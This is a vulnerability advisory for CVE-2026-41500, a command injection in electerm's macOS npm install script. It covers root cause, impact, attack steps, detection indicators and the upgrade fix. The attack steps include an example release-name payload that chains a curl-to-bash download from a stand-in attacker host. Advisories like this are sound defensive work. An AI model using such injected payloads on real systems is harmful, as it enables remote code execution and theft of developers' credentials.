CVE-2026-41500: 
JavaScript vulnerability analysis and mitigation

CVE-2026-41500 is a critical command injection vulnerability in electerm, an open-source terminal/SSH/SFTP/RDP/VNC client. The flaw exists in npm/install.js at line 150, where the runMac() function appends attacker-controlled remote releaseInfo.name data directly into a shell exec("open ...") call without any sanitization or validation. All versions prior to 3.3.8 (specifically ≤3.2.0 per the npm package advisory) are affected, with the fix published in version 3.3.8. It carries a CVSS v3.1 base score of 9.8 (Critical) (GitHub Advisory, Feedly).

The root cause is CWE-77 (Improper Neutralization of Special Elements used in a Command — Command Injection). During the npm post-install process on macOS, the runMac() function in npm/install.js fetches remote release metadata and interpolates the releaseInfo.name field directly into a shell command string passed to Node.js's exec() without escaping or allowlist validation. An attacker who can control or intercept the remote release metadata endpoint (e.g., via a supply chain attack or man-in-the-middle) can inject arbitrary shell commands that execute during npm install -g electerm. The patch (commit 59708b3) rewrites the install script to eliminate the unsafe exec("open ...") pattern and replaces it with safer, parameterized process spawning (GitHub Advisory, Patch Commit).

Successful exploitation allows an attacker to execute arbitrary system commands on the victim's macOS machine with the privileges of the user running npm install -g electerm, resulting in full confidentiality, integrity, and availability compromise. An attacker could exfiltrate sensitive data (SSH keys, credentials, source code), tamper with local files, install persistent backdoors, or use the compromised developer machine as a pivot point for lateral movement into internal networks or CI/CD pipelines (GitHub Advisory, Feedly).

No public proof-of-concept exploit code has been identified, and there is no confirmed evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.0075 (0.75%), indicating a currently low probability of active exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the attack requires no authentication and no user interaction beyond the victim running a standard npm install command, making it highly attractive for supply chain attack scenarios (Feedly, GitHub Advisory).

1. Identify the target: Determine that the victim uses electerm ≤3.2.0 installed via npm install -g electerm on macOS.
2. Control or intercept release metadata: Position to serve malicious release metadata — either by compromising the electerm update server, performing a man-in-the-middle attack on the HTTP(S) connection fetching release info, or via a supply chain compromise of the npm package itself.
3. Craft a malicious releaseInfo.name: Inject shell metacharacters into the release name field, e.g., electerm-1.0.0; curl http://attacker.com/shell.sh | bash; or backtick-enclosed commands.
4. Trigger the vulnerable code path: Wait for or induce the victim to run npm install -g electerm or trigger an update check, causing runMac() in npm/install.js:150 to execute exec("open " + releaseInfo.name) with the injected payload.
5. Achieve code execution: The injected commands execute in the context of the user running npm, enabling reverse shell establishment, credential theft, or persistence mechanisms (GitHub Advisory, Patch Commit).

• Process: Unexpected child processes spawned by node during npm install, such as bash, sh, curl, wget, or python, particularly with network-connecting arguments.
• Network: Outbound connections to unknown external hosts initiated by the npm install process or shortly after; DNS lookups for attacker-controlled domains during package installation.
• File System: New or modified files in the user's home directory, /tmp, or shell configuration files (.bashrc, .zshrc, .bash_profile) created around the time of electerm installation; unexpected cron jobs or launch agents added under ~/Library/LaunchAgents/.
• Logs: macOS Unified Log (log show) entries showing exec or open calls with anomalous arguments containing shell metacharacters during the npm install timeframe; npm install logs (~/.npm/_logs/) showing unexpected command execution output.

Users should upgrade electerm to version 3.3.8 or later, which contains the security fix in commit 59708b3. The patched version is already published to npm, so running npm install -g electerm will install the fixed version. No configuration-based workaround exists for the vulnerable versions; the only remediation is upgrading. Users who installed electerm via npm on macOS with a version ≤3.2.0 should treat their systems as potentially compromised and audit for signs of unauthorized activity (GitHub Advisory, Release v3.3.8).

The vulnerability was discovered by researchers Yuremin and FORIMOC and disclosed via GitHub Security Advisories on April 15, 2026. The Hacker Wire covered the issue with an article titled "electerm 3.3.8 Critical Command Injection" shortly after disclosure. Social media activity on Mastodon noted the advisory, and the CVE was tracked across multiple vulnerability aggregators including VulnDB and CVEFeed (GitHub Advisory, The Hacker Wire).